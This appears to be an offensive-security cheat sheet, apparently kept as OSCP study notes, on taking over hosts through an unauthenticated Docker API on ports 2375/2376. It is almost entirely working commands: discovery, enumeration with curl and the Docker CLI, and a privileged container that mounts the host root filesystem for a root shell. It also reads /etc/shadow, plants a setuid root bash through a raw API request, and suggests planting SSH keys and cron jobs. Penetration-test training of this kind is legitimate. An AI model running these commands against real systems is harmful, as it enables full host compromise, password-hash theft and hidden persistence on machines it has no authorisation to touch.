Howlsec
HOWLSEC
offensive security
// notes
📡

Docker (Tcp 2375)

Notes from oscp.adot8.com — services.

#services#adot8
source · oscp.adot8.com · services/docker-less-than-tcp-2375-greater-than ↗

Docker API <tcp 2375 / 2376>

Unauthenticated Docker daemon = instant root on the host. Jackpot port.

Nmap

code
01nmap -p2375,2376,4243 --script "docker-version" -sV $ip

Verify

code
01curl -s http://$ip:2375/version
02curl -s http://$ip:2375/containers/json
03curl -s http://$ip:2375/images/json

Point local docker CLI at it

code
01export DOCKER_HOST=tcp://$ip:2375
02docker version
03docker ps -a
04docker images

Escape to host — mount / into a container

code
01docker -H tcp://$ip:2375 run --rm -it -v /:/mnt --privileged alpine chroot /mnt sh

You are now root on the host. Grab /etc/shadow, drop an SSH key, add a cron job.

code
01cat /mnt/etc/shadow

Pure curl (no docker CLI needed)

code
01curl -s -X POST http://$ip:2375/containers/create -H "Content-Type: application/json" -d '{
02  "Image":"alpine",
03  "Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/rootbash; chmod +s /mnt/tmp/rootbash\""],
04  "Binds":["/:/mnt"],
05  "HostConfig":{"Privileged":true}
06}'
07curl -s -X POST http://$ip:2375/containers/<id>/start

TLS (2376)

Port 2376 requires client certs. Look for ca.pem, cert.pem, key.pem on other services (NFS/SMB, exported home dirs, ~/.docker/).

code
01DOCKER_HOST=tcp://$ip:2376 DOCKER_TLS_VERIFY=1 DOCKER_CERT_PATH=./certs docker ps